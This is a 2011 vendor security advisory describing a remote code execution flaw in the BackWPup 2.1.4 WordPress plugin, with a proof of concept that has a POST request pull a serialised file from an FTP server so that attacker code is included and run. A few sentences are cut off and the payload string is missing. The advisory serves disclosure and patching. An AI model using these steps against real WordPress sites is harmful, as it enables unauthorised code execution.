Sense of Security - Security Advisory - SOS-11-012
Release Date. 17-Oct-2011
Vendor Notification Date. 14-Oct-2011
Affected versions. 2.1.4
Severity Rating. High
Impact. System access
Attack Vector. Remote without authentication
Solution Status. Upgrade to 2.1.5
CVE reference. Not yet assigned
A vulnerability has been discovered in the WordPress plugin BackWPup
2.1.4 which can be exploited to execute local or remote code on the
There is a lack of data validation on the BackWPUpJobTemp POST
parameter of job/wp_export_generate.php allowing an attacker to
specify FTP resources as input.
This resource is downloaded and deserialised by the wp_export_generate.php
script and variables from this deserialisation are later passed to
Proof of Concept.
Upload the following to a publicly accessible FTP server and
name it "file.txt.running".
This serialised string creates an array containing:
$infile[’WORKING’] = array();
$infile[’WORKING’][’NONCE’] = ’123’;
Once uploaded ensure the FTP file is writeable and issue a POST to
"job/wp_export_generate.php" with the following parameters:
$_POST[’BackWPupJobTemp’] = "ftp://user:firstname.lastname@example.org/file.txt";
$_POST[’nonce’] = ’123’;
$_POST[’type’] = ’getxmlexport’;
The string included in $infile[’ABS_PATH’] will then have "wp-load.php"
appended to it and passed to require_once.
In the above example the code contained in the base64 encoded string will
then be executed. The above code executes .phpinfo(); die();..
allow_URL_include will need to be on to allow to allow for remote file
inclusion, however local file inclusion could easily be achieved by using
null byte injection.
Upgrade to BackWPUp 2.1.5 of above.
Phil Taylor from Sense of Security Labs.
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